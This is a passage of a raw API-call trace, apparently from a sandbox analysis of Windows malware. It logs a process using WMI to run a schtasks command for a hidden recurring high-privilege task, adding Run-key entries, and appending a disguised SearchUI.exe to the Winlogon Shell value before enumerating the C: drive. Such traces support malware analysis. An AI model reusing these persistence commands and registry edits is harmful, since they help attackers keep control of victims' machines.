puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0126.296] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0126.296] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0126.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b510ef8) returned 0x0 [0126.296] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x3 [0126.296] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0126.296] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0126.296] IWbemServices:GetObject (in: This=0x1b4cf5b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7900, ppCallResult=0x0) returned 0x0 [0126.300] IWbemClassObject:GetMethod (in: This=0x1b4d7900, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d6eb0, ppOutSignature=0x1b30d610*=0x1b4d7c70) returned 0x0 [0126.300] IWbemClassObject:SpawnInstance (in: This=0x1b4d6eb0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b469f40) returned 0x0 [0126.300] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841cc8*=0, plFlavor=0x2841ccc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841cc8*=8, plFlavor=0x2841ccc*=32) returned 0x0 [0126.300] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841cc8*=8, plFlavor=0x2841ccc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841cc8*=8, plFlavor=0x2841ccc*=32) returned 0x0 [0126.300] IWbemClassObject:Put (This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0126.301] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841d58*=0, plFlavor=0x2841d5c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841d58*=13, plFlavor=0x2841d5c*=32) returned 0x0 [0126.301] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841d58*=13, plFlavor=0x2841d5c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841d58*=13, plFlavor=0x2841d5c*=32) returned 0x0 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d9ed0) returned 0x0 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0126.301] IUnknown:AddRef (This=0x1b4d9ed0) returned 0x3 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d9ed8) returned 0x0 [0126.301] IMarshal:GetUnmarshalClass (in: This=0x1b4d9ed8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0126.301] IUnknown:Release (This=0x1b4d9ed8) returned 0x3 [0126.301] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0126.301] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0126.301] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0126.302] IUnknown:Release (This=0x1b4d9ed0) returned 0x2 [0126.302] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0126.302] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0126.302] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0126.302] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0126.302] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0126.302] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0126.302] IUnknown:AddRef (This=0x1b4d9ed0) returned 0x3 [0126.302] IWbemClassObject:Put (This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d9ed0, varVal2=0x0), Type=0) returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.303] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0126.303] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0126.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b510ef8) returned 0x0 [0126.303] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x3 [0126.303] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0126.303] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0126.303] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0126.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b510ef8) returned 0x0 [0126.303] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x3 [0126.303] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0126.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0126.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0126.304] IWbemServices:ExecMethod (in: This=0x1b4cf5b0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b469f40, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4ad8d0, ppCallResult=0x0) returned 0x0 [0126.394] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2842068*=0, plFlavor=0x284206c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8a4, varVal2=0x0), pType=0x2842068*=19, plFlavor=0x284206c*=0) returned 0x0 [0126.394] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2842068*=19, plFlavor=0x284206c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8a4, varVal2=0x0), pType=0x2842068*=19, plFlavor=0x284206c*=0) returned 0x0 [0126.395] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x4fc) returned 0x0 [0126.395] RegQueryValueExW (in: hKey=0x4fc, lpValueName="SearchUI", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0126.395] RegSetValueExW (in: hKey=0x4fc, lpValueName="SearchUI", Reserved=0x0, dwType=0x1, lpData="\"C:\\Recovery\\WindowsRE\\SearchUI.exe\"", cbData=0x4a | out: lpData="\"C:\\Recovery\\WindowsRE\\SearchUI.exe\"") returned 0x0 [0126.395] RegCloseKey (hKey=0x4fc) returned 0x0 [0126.396] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x4fc) returned 0x0 [0126.396] RegQueryValueExW (in: hKey=0x4fc, lpValueName="SearchUI", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0126.396] RegSetValueExW (in: hKey=0x4fc, lpValueName="SearchUI", Reserved=0x0, dwType=0x1, lpData="\"C:\\Recovery\\WindowsRE\\SearchUI.exe\"", cbData=0x4a | out: lpData="\"C:\\Recovery\\WindowsRE\\SearchUI.exe\"") returned 0x0 [0126.396] RegCloseKey (hKey=0x4fc) returned 0x0 [0126.397] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x4fc) returned 0x0 [0126.397] RegQueryValueExW (in: hKey=0x4fc, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x320) returned 0x0 [0126.397] RegQueryValueExW (in: hKey=0x4fc, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x2842e28, lpcbData=0x1b30d8b0*=0x320 | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"", lpcbData=0x1b30d8b0*=0x320) returned 0x0 [0126.397] RegQueryValueExW (in: hKey=0x4fc, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x320) returned 0x0 [0126.397] RegSetValueExW (in: hKey=0x4fc, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\", \"C:\\Recovery\\WindowsRE\\SearchUI.exe\"", cbData=0x36c | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\", \"C:\\Recovery\\WindowsRE\\SearchUI.exe\"") returned 0x0 [0126.398] RegCloseKey (hKey=0x4fc) returned 0x0 [0126.398] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xf48) returned 0x4fc [0126.398] GetExitCodeProcess (in: hProcess=0x4fc, lpExitCode=0x2585564 | out: lpExitCode=0x2585564*=0x103) returned 1 [0126.398] CoTaskMemAlloc (cb=0x404) returned 0x1b425ad0 [0126.398] QueryFullProcessImageNameA (in: hProcess=0x4fc, dwFlags=0x0, lpExeName=0x1b425ad0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files\\Java\\smartftp.exe", lpdwSize=0x1b30dda8) returned 1 [0126.399] CoTaskMemFree (pv=0x1b425ad0) [0126.403] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b5aa0 [0126.403] GetSystemDirectoryW (in: lpBuffer=0x1b4b5aa0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.403] CoTaskMemFree (pv=0x1b4b5aa0) [0126.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0126.403] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.404] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48ffd0 [0126.404] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0126.404] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0126.404] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0126.405] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0126.405] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0126.405] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0126.405] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0126.405] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0126.406] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0126.406] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0126.406] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: 